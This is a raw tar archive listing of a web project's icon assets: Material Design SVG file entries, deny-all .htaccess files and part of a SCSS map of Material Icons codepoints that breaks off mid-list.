0ustar00public/assets/assets/svg/device/ic_battery_alert_24px.svg000060400000000403151724235760017603 0ustar00public/assets/assets/svg/device/ic_signal_wifi_statusbar_null_26x24px.svg000060400000000404151724235760022720 0ustar00public/assets/assets/svg/device/ic_wifi_tethering_24px.svg000060400000000776151724235760017766 0ustar00public/assets/assets/svg/device/.htaccess000044400000000177151724235760014501 0ustar00 Order allow,deny Deny from all public/assets/assets/svg/device/ic_signal_wifi_statusbar_1_bar_26x24px.svg000060400000000450151724235760022733 0ustar00public/assets/assets/svg/device/ic_signal_cellular_no_sim_24px.svg000060400000000404151724235760021447 0ustar00public/assets/assets/svg/device/ic_signal_cellular_null_24px.svg000060400000000215151724235760021135 0ustar00public/assets/assets/svg/device/ic_access_alarms_24px.svg000060400000000467151724235760017554 0ustar00public/assets/assets/svg/device/ic_brightness_medium_24px.svg000060400000000366151724235760020462 0ustar00public/assets/assets/svg/device/ic_battery_charging_80_24px.svg000060400000000475151724235760020576 0ustar00public/assets/assets/svg/device/ic_battery_charging_90_24px.svg000060400000000475151724235760020577 0ustar00public/assets/assets/svg/device/ic_airplanemode_inactive_24px.svg000060400000000432151724235760021266 0ustar00public/assets/assets/svg/navigation/ic_subdirectory_arrow_right_24px.svg000060400000000246151724235760022774 0ustar00public/assets/assets/svg/navigation/ic_arrow_forward_24px.svg000060400000000236151724235760020524 0ustar00public/assets/assets/svg/navigation/ic_arrow_back_24px.svg000060400000000241151724235760017754 0ustar00public/assets/assets/svg/navigation/ic_unfold_less_24px.svg000060400000000343151724235760020162 0ustar00public/assets/assets/svg/navigation/ic_cancel_24px.svg000060400000000424151724235760017072 0ustar00public/assets/assets/svg/navigation/ic_apps_36px.svg000060400000000353151724235760016614 0ustar00public/assets/assets/svg/navigation/ic_unfold_more_24px.svg000060400000000334151724235760020156 0ustar00public/assets/assets/svg/navigation/ic_chevron_right_24px.svg000060400000000223151724235760020503 0ustar00public/assets/assets/svg/navigation/ic_close_24px.svg000060400000000312151724235760016746 0ustar00public/assets/assets/svg/navigation/ic_more_horiz_36px.svg000060400000000423151724235760020024 0ustar00public/assets/assets/svg/navigation/ic_refresh_36px.svg000060400000000462151724235760017310 0ustar00public/assets/assets/svg/navigation/ic_more_vert_24px.svg000060400000000366151724235760017654 0ustar00public/assets/assets/svg/navigation/ic_chevron_left_24px.svg000060400000000222151724235760020317 0ustar00public/assets/assets/svg/navigation/ic_arrow_drop_down_36px.svg000060400000000176151724235760021061 0ustar00public/assets/assets/svg/navigation/ic_expand_more_24px.svg000060400000000221151724235760020141 0ustar00public/assets/assets/svg/navigation/ic_expand_less_24px.svg000060400000000223151724235760020147 0ustar00public/assets/assets/svg/navigation/ic_fullscreen_exit_36px.svg000060400000000265151724235760021046 0ustar00public/assets/assets/svg/navigation/ic_menu_24px.svg000060400000000222151724235760016605 0ustar00public/assets/assets/svg/navigation/ic_check_24px.svg000060400000000226151724235760016722 0ustar00public/assets/assets/svg/navigation/ic_fullscreen_24px.svg000060400000000263151724235760020010 0ustar00public/assets/assets/svg/navigation/ic_arrow_drop_down_circle_24px.svg000060400000000271151724235760022373 0ustar00public/assets/assets/svg/navigation/ic_arrow_drop_up_36px.svg000060400000000176151724235760020536 0ustar00public/assets/assets/svg/navigation/ic_refresh_24px.svg000060400000000457151724235760017311 0ustar00public/assets/assets/svg/navigation/ic_more_horiz_24px.svg000060400000000370151724235760020022 0ustar00public/assets/assets/svg/navigation/ic_close_36px.svg000060400000000330151724235760016751 0ustar00public/assets/assets/svg/navigation/ic_chevron_right_36px.svg000060400000000224151724235760020507 0ustar00public/assets/assets/svg/navigation/ic_unfold_more_36px.svg000060400000000341151724235760020157 0ustar00public/assets/assets/svg/navigation/ic_apps_24px.svg000060400000000352151724235760016610 0ustar00public/assets/assets/svg/navigation/.htaccess000044400000000177151724235760015401 0ustar00 Order allow,deny Deny from all public/assets/assets/svg/navigation/ic_cancel_36px.svg000060400000000451151724235760017075 0ustar00public/assets/assets/svg/navigation/ic_unfold_less_36px.svg000060400000000350151724235760020163 0ustar00public/assets/assets/svg/navigation/ic_arrow_back_36px.svg000060400000000250151724235760017757 0ustar00public/assets/assets/svg/navigation/ic_arrow_forward_36px.svg000060400000000241151724235760020523 0ustar00public/assets/assets/svg/navigation/ic_more_vert_36px.svg000060400000000422151724235760017650 0ustar00public/assets/assets/svg/navigation/ic_subdirectory_arrow_left_24px.svg000060400000000245151724235760022610 0ustar00public/assets/assets/svg/navigation/ic_expand_less_36px.svg000060400000000224151724235760020153 0ustar00public/assets/assets/svg/navigation/ic_expand_more_36px.svg000060400000000223151724235760020146 0ustar00public/assets/assets/svg/navigation/ic_arrow_drop_down_24px.svg000060400000000163151724235760021052 0ustar00public/assets/assets/svg/navigation/ic_arrow_downward_24px.svg000060400000000262151724235760020704 0ustar00public/assets/assets/svg/navigation/ic_chevron_left_36px.svg000060400000000223151724235760020323 0ustar00public/assets/assets/svg/navigation/ic_arrow_drop_up_24px.svg000060400000000163151724235760020527 0ustar00public/assets/assets/svg/navigation/ic_fullscreen_36px.svg000060400000000267151724235760020017 0ustar00public/assets/assets/svg/navigation/ic_check_36px.svg000060400000000236151724235760016726 0ustar00public/assets/assets/svg/navigation/ic_menu_36px.svg000060400000000222151724235760016610 0ustar00public/assets/assets/svg/navigation/ic_arrow_upward_24px.svg000060400000000240151724235760020355 0ustar00public/assets/assets/svg/navigation/ic_fullscreen_exit_24px.svg000060400000000262151724235760021040 0ustar00public/assets/assets/svg/editor/ic_text_fields_24px.svg000060400000000227151724235760017307 0ustar00public/assets/assets/svg/editor/ic_border_vertical_24px.svg000060400000000536151724235760020146 0ustar00public/assets/assets/svg/editor/ic_border_inner_24px.svg000060400000000465151724235760017451 0ustar00public/assets/assets/svg/editor/.htaccess000044400000000177151724235760014530 0ustar00 Order allow,deny Deny from all public/assets/assets/svg/editor/ic_format_strikethrough_24px.svg000060400000000233151724235760021244 0ustar00public/assets/assets/svg/editor/ic_space_bar_24px.svg000060400000000172151724235760016713 0ustar00public/assets/assets/svg/editor/ic_format_paint_24px.svg000060400000000352151724235760017457 0ustar00public/assets/assets/svg/editor/ic_border_style_24px.svg000060400000000343151724235760017471 0ustar00public/assets/assets/svg/editor/ic_insert_comment_24px.svg000060400000000323151724235760020020 0ustar00public/assets/assets/svg/editor/ic_linear_scale_24px.svg000060400000000617151724235760017421 0ustar00public/assets/assets/svg/editor/ic_format_underlined_24px.svg000060400000000330151724235760020471 0ustar00public/assets/assets/svg/editor/ic_insert_drive_file_24px.svg000060400000000304151724235760020465 0ustar00public/assets/assets/svg/editor/ic_border_clear_24px.svg000060400000000625151724235760017422 0ustar00public/assets/assets/svg/editor/ic_insert_invitation_24px.svg000060400000000355151724235760020547 0ustar00public/assets/assets/svg/editor/ic_functions_24px.svg000060400000000217151724235760017004 0ustar00public/assets/assets/svg/editor/ic_highlight_24px.svg000060400000000341151724235760016741 0ustar00public/assets/assets/svg/editor/ic_format_italic_24px.svg000060400000000225151724235760017610 0ustar00public/assets/assets/svg/editor/ic_format_align_right_24px.svg000060400000000260151724235760020631 0ustar00public/assets/assets/svg/editor/ic_short_text_24px.svg000060400000000175151724235760017202 0ustar00public/assets/assets/svg/editor/ic_attach_file_24px.svg000060400000000541151724235760017237 0ustar00public/assets/assets/svg/editor/ic_border_right_24px.svg000060400000000536151724235760017452 0ustar00public/assets/assets/svg/editor/ic_vertical_align_center_24px.svg000060400000000251151724235760021315 0ustar00public/assets/assets/svg/editor/ic_insert_chart_24px.svg000060400000000336151724235760017463 0ustar00public/assets/assets/svg/editor/ic_insert_link_24px.svg000060400000000470151724235760017316 0ustar00public/assets/assets/svg/editor/ic_format_align_justify_24px.svg000060400000000257151724235760021217 0ustar00public/assets/assets/svg/editor/ic_insert_photo_24px.svg000060400000000335151724235760017512 0ustar00public/assets/assets/svg/editor/ic_vertical_align_top_24px.svg000060400000000216151724235760020640 0ustar00public/assets/assets/svg/editor/ic_wrap_text_24px.svg000060400000000336151724235760017013 0ustar00public/assets/assets/svg/editor/ic_format_list_bulleted_24px.svg000060400000000600151724235760021173 0ustar00public/assets/assets/svg/editor/ic_format_align_left_24px.svg000060400000000261151724235760020447 0ustar00public/assets/assets/svg/editor/ic_border_outer_24px.svg000060400000000321151724235760017463 0ustar00public/assets/assets/svg/editor/ic_format_line_spacing_24px.svg000060400000000305151724235760020775 0ustar00public/assets/assets/svg/editor/ic_format_textdirection_r_to_l_24px.svg000060400000000274151724235760022572 0ustar00public/assets/assets/svg/editor/ic_border_color_24px.svg000060400000000425151724235760017450 0ustar00public/assets/assets/svg/editor/ic_border_all_24px.svg000060400000000255151724235760017103 0ustar00public/assets/assets/svg/editor/ic_format_list_numbered_24px.svg000060400000000357151724235760021205 0ustar00public/assets/assets/svg/editor/ic_border_left_24px.svg000060400000000545151724235760017267 0ustar00public/assets/assets/svg/editor/ic_mode_edit_24px.svg000060400000000372151724235760016727 0ustar00public/assets/assets/svg/editor/ic_drag_handle_24px.svg000060400000000204151724235760017220 0ustar00public/assets/assets/svg/editor/ic_vertical_align_bottom_24px.svg000060400000000221151724235760021336 0ustar00public/assets/assets/svg/editor/ic_format_quote_24px.svg000060400000000215151724235760017477 0ustar00public/assets/assets/svg/editor/ic_border_top_24px.svg000060400000000542151724235760017134 0ustar00public/assets/assets/svg/editor/ic_format_shapes_24px.svg000060400000000522151724235760017626 0ustar00public/assets/assets/svg/editor/ic_format_size_24px.svg000060400000000222151724235760017312 0ustar00public/assets/assets/svg/editor/ic_format_align_center_24px.svg000060400000000260151724235760020774 0ustar00public/assets/assets/svg/editor/ic_format_color_reset_24px.svg000060400000000504151724235760020663 0ustar00public/assets/assets/svg/editor/ic_border_horizontal_24px.svg000060400000000536151724235760020526 0ustar00public/assets/assets/svg/editor/ic_border_bottom_24px.svg000060400000000534151724235760017637 0ustar00public/assets/assets/svg/editor/ic_money_off_24px.svg000060400000000705151724235760016757 0ustar00public/assets/assets/svg/editor/ic_format_indent_decrease_24px.svg000060400000000304151724235760021455 0ustar00public/assets/assets/svg/editor/ic_merge_type_24px.svg000060400000000311151724235760017127 0ustar00public/assets/assets/svg/editor/ic_publish_24px.svg000060400000000215151724235760016440 0ustar00public/assets/assets/svg/editor/ic_format_indent_increase_24px.svg000060400000000301151724235760021470 0ustar00public/assets/assets/svg/editor/ic_format_bold_24px.svg000060400000000512151724235760017262 0ustar00public/assets/assets/svg/editor/ic_format_textdirection_l_to_r_24px.svg000060400000000267151724235760022574 0ustar00public/assets/assets/svg/editor/ic_format_color_text_24px.svg000060400000000342151724235760020525 0ustar00public/assets/assets/svg/editor/ic_mode_comment_24px.svg000060400000000262151724235760017442 0ustar00public/assets/assets/svg/editor/ic_attach_money_24px.svg000060400000000676151724235760017460 0ustar00public/assets/assets/svg/editor/ic_format_clear_24px.svg000060400000000351151724235760017431 0ustar00public/assets/assets/svg/editor/ic_insert_emoticon_24px.svg000060400000000706151724235760020200 0ustar00public/assets/assets/svg/editor/ic_strikethrough_s_24px.svg000060400000002111151724235760020213 0ustar00public/assets/assets/svg/editor/ic_format_color_fill_24px.svg000060400000000607151724235760020473 0ustar00public/assets/assets/svg/toggle/ic_star_24px.svg000060400000000275151724235760015744 0ustar00public/assets/assets/svg/toggle/ic_star_border_24px.svg000060400000000445151724235760017300 0ustar00public/assets/assets/svg/toggle/ic_radio_button_unchecked_24px.svg000060400000000341151724235760021467 0ustar00public/assets/assets/svg/toggle/ic_check_box_24px.svg000060400000000350151724235760016712 0ustar00public/assets/assets/svg/toggle/ic_star_half_24px.svg000060400000000375151724235760016737 0ustar00public/assets/assets/svg/toggle/ic_radio_button_checked_24px.svg000060400000000432151724235760021125 0ustar00public/assets/assets/svg/toggle/.htaccess000044400000000177151724235760014523 0ustar00 Order allow,deny Deny from all public/assets/assets/svg/toggle/ic_indeterminate_check_box_24px.svg000060400000000302151724235760021617 0ustar00public/assets/assets/svg/toggle/ic_check_box_outline_blank_24px.svg000060400000000277151724235760021630 0ustar00public/assets/assets/svg/places/ic_airport_shuttle_24px.svg000060400000000626151724235760020211 0ustar00public/assets/assets/svg/places/ic_smoking_rooms_24px.svg000060400000000761151724235760017647 0ustar00public/assets/assets/svg/places/ic_smoke_free_24px.svg000060400000000757151724235760017105 0ustar00public/assets/assets/svg/places/ic_child_care_24px.svg000060400000001654151724235760017040 0ustar00public/assets/assets/svg/places/ic_all_inclusive_24px.svg000060400000001161151724235760017605 0ustar00public/assets/assets/svg/places/ic_ac_unit_24px.svg000060400000000577151724235760016410 0ustar00public/assets/assets/svg/places/ic_business_center_24px.svg000060400000000443151724235760020151 0ustar00public/assets/assets/svg/places/ic_fitness_center_24px.svg000060400000000544151724235760017773 0ustar00public/assets/assets/svg/places/ic_beach_access_24px.svg000060400000000614151724235760017341 0ustar00public/assets/assets/svg/places/ic_kitchen_24px.svg000060400000000370151724235760016402 0ustar00public/assets/assets/svg/places/ic_casino_24px.svg000060400000001044151724235760016230 0ustar00public/assets/assets/svg/places/ic_golf_course_24px.svg000060400000000365151724235760017270 0ustar00public/assets/assets/svg/places/ic_spa_24px.svg000060400000001214151724235760015536 0ustar00public/assets/assets/svg/places/.htaccess000044400000000177151724235760014511 0ustar00 Order allow,deny Deny from all public/assets/assets/svg/places/ic_pool_24px.svg000060400000002646151724235760015736 0ustar00public/assets/assets/svg/places/ic_free_breakfast_24px.svg000060400000000331151724235760017715 0ustar00public/assets/assets/svg/places/ic_room_service_24px.svg000060400000000367151724235760017457 0ustar00public/assets/assets/svg/places/ic_child_friendly_24px.svg000060400000000766151724235760017745 0ustar00public/assets/assets/svg/places/ic_hot_tub_24px.svg000060400000001262151724235760016422 0ustar00public/assets/assets/svg/social/ic_people_outline_24px.svg000060400000001143151724235760020002 0ustar00public/assets/assets/svg/social/ic_person_24px.svg000060400000000322151724235760016263 0ustar00public/assets/assets/svg/social/ic_notifications_off_24px.svg000060400000000675151724235760020473 0ustar00public/assets/assets/svg/social/ic_mood_24px.svg000060400000000706151724235760015721 0ustar00public/assets/assets/svg/social/ic_whatshot_24px.svg000060400000000626151724235760016625 0ustar00public/assets/assets/svg/social/ic_domain_24px.svg000060400000000456151724235760016234 0ustar00public/assets/assets/svg/social/ic_person_outline_24px.svg000060400000000533151724235760020026 0ustar00public/assets/assets/svg/social/ic_school_24px.svg000060400000000260151724235760016245 0ustar00public/assets/assets/svg/social/ic_mood_bad_24px.svg000060400000000707151724235760016530 0ustar00public/assets/assets/svg/social/ic_people_24px.svg000060400000000606151724235760016246 0ustar00public/assets/assets/svg/social/ic_notifications_24px.svg000060400000000405151724235760017630 0ustar00public/assets/assets/svg/social/ic_notifications_paused_24px.svg000060400000000473151724235760021176 0ustar00public/assets/assets/svg/social/ic_location_city_24px.svg000060400000000412151724235760017615 0ustar00public/assets/assets/svg/social/ic_person_add_24px.svg000060400000000362151724235760017077 0ustar00public/assets/assets/svg/social/ic_plus_one_24px.svg000060400000000240151724235760016600 0ustar00public/assets/assets/svg/social/ic_pages_24px.svg000060400000000374151724235760016063 0ustar00public/assets/assets/svg/social/ic_group_24px.svg000060400000000606151724235760016116 0ustar00public/assets/assets/svg/social/ic_notifications_none_24px.svg000060400000000464151724235760020654 0ustar00public/assets/assets/svg/social/ic_party_mode_24px.svg000060400000000641151724235760017124 0ustar00public/assets/assets/svg/social/ic_notifications_active_24px.svg000060400000000742151724235760021167 0ustar00public/assets/assets/svg/social/ic_group_add_24px.svg000060400000000667151724235760016735 0ustar00public/assets/assets/svg/social/ic_public_24px.svg000060400000000621151724235760016235 0ustar00public/assets/assets/svg/social/ic_share_24px.svg000060400000000714151724235760016064 0ustar00public/assets/assets/svg/social/ic_cake_24px.svg000060400000001202151724235760015656 0ustar00public/assets/assets/svg/social/ic_poll_24px.svg000060400000000336151724235760015730 0ustar00public/assets/assets/svg/social/.htaccess000044400000000177151724235760014514 0ustar00 Order allow,deny Deny from all public/assets/assets/svg/.htaccess000044400000000177151724235760013242 0ustar00 Order allow,deny Deny from all public/assets/assets/svg/file/ic_cloud_done_24px.svg000060400000000470151724235760016541 0ustar00public/assets/assets/svg/file/ic_folder_open_24px.svg000060400000000320151724235760016714 0ustar00public/assets/assets/svg/file/ic_cloud_queue_24px.svg000060400000000572151724235760016743 0ustar00public/assets/assets/svg/file/ic_folder_shared_24px.svg000060400000000432151724235760017225 0ustar00public/assets/assets/svg/file/ic_cloud_circle_24px.svg000060400000000453151724235760017056 0ustar00public/assets/assets/svg/file/ic_cloud_download_24px.svg000060400000000427151724235760017425 0ustar00public/assets/assets/svg/file/.htaccess000044400000000177151724235760014161 0ustar00 Order allow,deny Deny from all public/assets/assets/svg/file/ic_create_new_folder_24px.svg000060400000000353151724235760020075 0ustar00public/assets/assets/svg/file/ic_attachment_24px.svg000060400000000514151724235760016555 0ustar00public/assets/assets/svg/file/ic_cloud_upload_24px.svg000060400000000431151724235760017075 0ustar00public/assets/assets/svg/file/ic_cloud_24px.svg000060400000000375151724235760015540 0ustar00public/assets/assets/svg/file/ic_cloud_off_24px.svg000060400000000736151724235760016373 0ustar00public/assets/assets/svg/file/ic_file_upload_24px.svg000060400000000212151724235760016703 0ustar00public/assets/assets/svg/file/ic_folder_24px.svg000060400000000300151724235760015671 0ustar00public/assets/assets/svg/file/ic_file_download_24px.svg000060400000000216151724235760017232 0ustar00public/assets/assets/svg/alert/.htaccess000044400000000177151724235760014351 0ustar00 Order allow,deny Deny from all public/assets/assets/svg/alert/ic_error_outline_24px.svg000060400000000414151724235760017504 0ustar00public/assets/assets/svg/alert/ic_error_24px.svg000060400000000305151724235760015744 0ustar00public/assets/assets/svg/alert/ic_warning_24px.svg000060400000000227151724235760016263 0ustar00public/assets/assets/svg/alert/ic_add_alert_24px.svg000060400000000551151724235760016535 0ustar00public/assets/index.php000060400000000033151724235760011150 0ustar00 Order allow,deny Deny from all public/assets/fonts/material/codepoints.scss000060400000145622151724235760015341 0ustar00$material-icons-codepoints: () !default; $material-icons-codepoints: map-merge(( "10k": e951, "10mp": e952, "11mp": e953, "123": eb8d, "12mp": e954, "13mp": e955, "14mp": e956, "15mp": e957, "16mp": e958, "17mp": e959, "18_up_rating": f8fd, "18mp": e95a, "19mp": e95b, "1k": e95c, "1k_plus": e95d, "1x_mobiledata": efcd, "20mp": e95e, "21mp": e95f, "22mp": e960, "23mp": e961, "24mp": e962, "2k": e963, "2k_plus": e964, "2mp": e965, "30fps": efce, "30fps_select": efcf, "360": e577, "3d_rotation": e84d, "3g_mobiledata": efd0, "3k": e966, "3k_plus": e967, "3mp": e968, "3p": efd1, "4g_mobiledata": efd2, "4g_plus_mobiledata": efd3, "4k": e072, "4k_plus": e969, "4mp": e96a, "5g": ef38, "5k": e96b, "5k_plus": e96c, "5mp": e96d, "60fps": efd4, "60fps_select": efd5, "6_ft_apart": f21e, "6k": e96e, "6k_plus": e96f, "6mp": e970, "7k": e971, "7k_plus": e972, "7mp": e973, "8k": e974, "8k_plus": e975, "8mp": e976, "9k": e977, "9k_plus": e978, "9mp": e979, "abc": eb94, "ac_unit": eb3b, "access_alarm": e190, "access_alarms": e191, "access_time": e192, "access_time_filled": efd6, "accessibility": e84e, "accessibility_new": e92c, "accessible": e914, "accessible_forward": e934, "account_balance": e84f, "account_balance_wallet": e850, "account_box": e851, "account_circle": e853, "account_tree": e97a, "ad_units": ef39, "adb": e60e, "add": e145, "add_a_photo": e439, "add_alarm": e193, "add_alert": e003, "add_box": e146, "add_business": e729, "add_call": e0e8, "add_card": eb86, "add_chart": e97b, "add_circle": e147, "add_circle_outline": e148, "add_comment": e266, "add_home": f8eb, "add_home_work": f8ed, "add_ic_call": e97c, "add_link": e178, "add_location": e567, "add_location_alt": ef3a, "add_moderator": e97d, "add_photo_alternate": e43e, "add_reaction": e1d3, "add_road": ef3b, "add_shopping_cart": e854, "add_task": f23a, "add_to_drive": e65c, "add_to_home_screen": e1fe, "add_to_photos": e39d, "add_to_queue": e05c, "addchart": ef3c, "adf_scanner": eada, "adjust": e39e, "admin_panel_settings": ef3d, "adobe": ea96, "ads_click": e762, "agriculture": ea79, "air": efd8, "airline_seat_flat": e630, "airline_seat_flat_angled": e631, "airline_seat_individual_suite": e632, "airline_seat_legroom_extra": e633, "airline_seat_legroom_normal": e634, "airline_seat_legroom_reduced": e635, "airline_seat_recline_extra": e636, "airline_seat_recline_normal": e637, "airline_stops": e7d0, "airlines": e7ca, "airplane_ticket": efd9, "airplanemode_active": e195, "airplanemode_inactive": e194, "airplanemode_off": e194, "airplanemode_on": e195, "airplay": e055, "airport_shuttle": eb3c, "alarm": e855, "alarm_add": e856, "alarm_off": e857, "alarm_on": e858, "album": e019, "align_horizontal_center": e00f, "align_horizontal_left": e00d, "align_horizontal_right": e010, "align_vertical_bottom": e015, "align_vertical_center": e011, "align_vertical_top": e00c, "all_inbox": e97f, "all_inclusive": eb3d, "all_out": e90b, "alt_route": f184, "alternate_email": e0e6, "amp_stories": ea13, "analytics": ef3e, "anchor": f1cd, "android": e859, "animation": e71c, "announcement": e85a, "aod": efda, "apartment": ea40, "api": f1b7, "app_blocking": ef3f, "app_registration": ef40, "app_settings_alt": ef41, "app_shortcut": eae4, "apple": ea80, "approval": e982, "apps": e5c3, "apps_outage": e7cc, "architecture": ea3b, "archive": e149, "area_chart": e770, "arrow_back": e5c4, "arrow_back_ios": e5e0, "arrow_back_ios_new": e2ea, "arrow_circle_down": f181, "arrow_circle_left": eaa7, "arrow_circle_right": eaaa, "arrow_circle_up": f182, "arrow_downward": e5db, "arrow_drop_down": e5c5, "arrow_drop_down_circle": e5c6, "arrow_drop_up": e5c7, "arrow_forward": e5c8, "arrow_forward_ios": e5e1, "arrow_left": e5de, "arrow_right": e5df, "arrow_right_alt": e941, "arrow_upward": e5d8, "art_track": e060, "article": ef42, "aspect_ratio": e85b, "assessment": e85c, "assignment": e85d, "assignment_ind": e85e, "assignment_late": e85f, "assignment_return": e860, "assignment_returned": e861, "assignment_turned_in": e862, "assistant": e39f, "assistant_direction": e988, "assistant_navigation": e989, "assistant_photo": e3a0, "assured_workload": eb6f, "atm": e573, "attach_email": ea5e, "attach_file": e226, "attach_money": e227, "attachment": e2bc, "attractions": ea52, "attribution": efdb, "audio_file": eb82, "audiotrack": e3a1, "auto_awesome": e65f, "auto_awesome_mosaic": e660, "auto_awesome_motion": e661, "auto_delete": ea4c, "auto_fix_high": e663, "auto_fix_normal": e664, "auto_fix_off": e665, "auto_graph": e4fb, "auto_mode": ec20, "auto_stories": e666, "autofps_select": efdc, "autorenew": e863, "av_timer": e01b, "baby_changing_station": f19b, "back_hand": e764, "backpack": f19c, "backspace": e14a, "backup": e864, "backup_table": ef43, "badge": ea67, "bakery_dining": ea53, "balance": eaf6, "balcony": e58f, "ballot": e172, "bar_chart": e26b, "batch_prediction": f0f5, "bathroom": efdd, "bathtub": ea41, "battery_0_bar": ebdc, "battery_1_bar": ebd9, "battery_2_bar": ebe0, "battery_3_bar": ebdd, "battery_4_bar": ebe2, "battery_5_bar": ebd4, "battery_6_bar": ebd2, "battery_alert": e19c, "battery_charging_full": e1a3, "battery_full": e1a4, "battery_saver": efde, "battery_std": e1a5, "battery_unknown": e1a6, "beach_access": eb3e, "bed": efdf, "bedroom_baby": efe0, "bedroom_child": efe1, "bedroom_parent": efe2, "bedtime": ef44, "bedtime_off": eb76, "beenhere": e52d, "bento": f1f4, "bike_scooter": ef45, "biotech": ea3a, "blender": efe3, "blinds": e286, "blinds_closed": ec1f, "block": e14b, "block_flipped": ef46, "bloodtype": efe4, "bluetooth": e1a7, "bluetooth_audio": e60f, "bluetooth_connected": e1a8, "bluetooth_disabled": e1a9, "bluetooth_drive": efe5, "bluetooth_searching": e1aa, "blur_circular": e3a2, "blur_linear": e3a3, "blur_off": e3a4, "blur_on": e3a5, "bolt": ea0b, "book": e865, "book_online": f217, "bookmark": e866, "bookmark_add": e598, "bookmark_added": e599, "bookmark_border": e867, "bookmark_outline": e867, "bookmark_remove": e59a, "bookmarks": e98b, "border_all": e228, "border_bottom": e229, "border_clear": e22a, "border_color": e22b, "border_horizontal": e22c, "border_inner": e22d, "border_left": e22e, "border_outer": e22f, "border_right": e230, "border_style": e231, "border_top": e232, "border_vertical": e233, "boy": eb67, "branding_watermark": e06b, "breakfast_dining": ea54, "brightness_1": e3a6, "brightness_2": e3a7, "brightness_3": e3a8, "brightness_4": e3a9, "brightness_5": e3aa, "brightness_6": e3ab, "brightness_7": e3ac, "brightness_auto": e1ab, "brightness_high": e1ac, "brightness_low": e1ad, "brightness_medium": e1ae, "broadcast_on_home": f8f8, "broadcast_on_personal": f8f9, "broken_image": e3ad, "browse_gallery": ebd1, "browser_not_supported": ef47, "browser_updated": e7cf, "brunch_dining": ea73, "brush": e3ae, "bubble_chart": e6dd, "bug_report": e868, "build": e869, "build_circle": ef48, "bungalow": e591, "burst_mode": e43c, "bus_alert": e98f, "business": e0af, "business_center": eb3f, "cabin": e589, "cable": efe6, "cached": e86a, "cake": e7e9, "calculate": ea5f, "calendar_month": ebcc, "calendar_today": e935, "calendar_view_day": e936, "calendar_view_month": efe7, "calendar_view_week": efe8, "call": e0b0, "call_end": e0b1, "call_made": e0b2, "call_merge": e0b3, "call_missed": e0b4, "call_missed_outgoing": e0e4, "call_received": e0b5, "call_split": e0b6, "call_to_action": e06c, "camera": e3af, "camera_alt": e3b0, "camera_enhance": e8fc, "camera_front": e3b1, "camera_indoor": efe9, "camera_outdoor": efea, "camera_rear": e3b2, "camera_roll": e3b3, "cameraswitch": efeb, "campaign": ef49, "cancel": e5c9, "cancel_presentation": e0e9, "cancel_schedule_send": ea39, "candlestick_chart": ead4, "car_crash": ebf2, "car_rental": ea55, "car_repair": ea56, "card_giftcard": e8f6, "card_membership": e8f7, "card_travel": e8f8, "carpenter": f1f8, "cases": e992, "casino": eb40, "cast": e307, "cast_connected": e308, "cast_for_education": efec, "castle": eab1, "catching_pokemon": e508, "category": e574, "celebration": ea65, "cell_tower": ebba, "cell_wifi": e0ec, "center_focus_strong": e3b4, "center_focus_weak": e3b5, "chair": efed, "chair_alt": efee, "chalet": e585, "change_circle": e2e7, "change_history": e86b, "charging_station": f19d, "chat": e0b7, "chat_bubble": e0ca, "chat_bubble_outline": e0cb, "check": e5ca, "check_box": e834, "check_box_outline_blank": e835, "check_circle": e86c, "check_circle_outline": e92d, "checklist": e6b1, "checklist_rtl": e6b3, "checkroom": f19e, "chevron_left": e5cb, "chevron_right": e5cc, "child_care": eb41, "child_friendly": eb42, "chrome_reader_mode": e86d, "church": eaae, "circle": ef4a, "circle_notifications": e994, "class": e86e, "clean_hands": f21f, "cleaning_services": f0ff, "clear": e14c, "clear_all": e0b8, "close": e5cd, "close_fullscreen": f1cf, "closed_caption": e01c, "closed_caption_disabled": f1dc, "closed_caption_off": e996, "cloud": e2bd, "cloud_circle": e2be, "cloud_done": e2bf, "cloud_download": e2c0, "cloud_off": e2c1, "cloud_queue": e2c2, "cloud_sync": eb5a, "cloud_upload": e2c3, "cloudy_snowing": e810, "co2": e7b0, "co_present": eaf0, "code": e86f, "code_off": e4f3, "coffee": efef, "coffee_maker": eff0, "collections": e3b6, "collections_bookmark": e431, "color_lens": e3b7, "colorize": e3b8, "comment": e0b9, "comment_bank": ea4e, "comments_disabled": e7a2, "commit": eaf5, "commute": e940, "compare": e3b9, "compare_arrows": e915, "compass_calibration": e57c, "compost": e761, "compress": e94d, "computer": e30a, "confirmation_num": e638, "confirmation_number": e638, "connect_without_contact": f223, "connected_tv": e998, "connecting_airports": e7c9, "construction": ea3c, "contact_mail": e0d0, "contact_page": f22e, "contact_phone": e0cf, "contact_support": e94c, "contactless": ea71, "contacts": e0ba, "content_copy": e14d, "content_cut": e14e, "content_paste": e14f, "content_paste_go": ea8e, "content_paste_off": e4f8, "content_paste_search": ea9b, "contrast": eb37, "control_camera": e074, "control_point": e3ba, "control_point_duplicate": e3bb, "cookie": eaac, "copy_all": e2ec, "copyright": e90c, "coronavirus": f221, "corporate_fare": f1d0, "cottage": e587, "countertops": f1f7, "create": e150, "create_new_folder": e2cc, "credit_card": e870, "credit_card_off": e4f4, "credit_score": eff1, "crib": e588, "crisis_alert": ebe9, "crop": e3be, "crop_16_9": e3bc, "crop_3_2": e3bd, "crop_5_4": e3bf, "crop_7_5": e3c0, "crop_din": e3c1, "crop_free": e3c2, "crop_landscape": e3c3, "crop_original": e3c4, "crop_portrait": e3c5, "crop_rotate": e437, "crop_square": e3c6, "cruelty_free": e799, "css": eb93, "currency_bitcoin": ebc5, "currency_exchange": eb70, "currency_franc": eafa, "currency_lira": eaef, "currency_pound": eaf1, "currency_ruble": eaec, "currency_rupee": eaf7, "currency_yen": eafb, "currency_yuan": eaf9, "curtains": ec1e, "curtains_closed": ec1d, "cyclone": ebd5, "dangerous": e99a, "dark_mode": e51c, "dashboard": e871, "dashboard_customize": e99b, "data_array": ead1, "data_exploration": e76f, "data_object": ead3, "data_saver_off": eff2, "data_saver_on": eff3, "data_thresholding": eb9f, "data_usage": e1af, "dataset": f8ee, "dataset_linked": f8ef, "date_range": e916, "deblur": eb77, "deck": ea42, "dehaze": e3c7, "delete": e872, "delete_forever": e92b, "delete_outline": e92e, "delete_sweep": e16c, "delivery_dining": ea72, "density_large": eba9, "density_medium": eb9e, "density_small": eba8, "departure_board": e576, "description": e873, "deselect": ebb6, "design_services": f10a, "desk": f8f4, "desktop_access_disabled": e99d, "desktop_mac": e30b, "desktop_windows": e30c, "details": e3c8, "developer_board": e30d, "developer_board_off": e4ff, "developer_mode": e1b0, "device_hub": e335, "device_thermostat": e1ff, "device_unknown": e339, "devices": e1b1, "devices_fold": ebde, "devices_other": e337, "dialer_sip": e0bb, "dialpad": e0bc, "diamond": ead5, "difference": 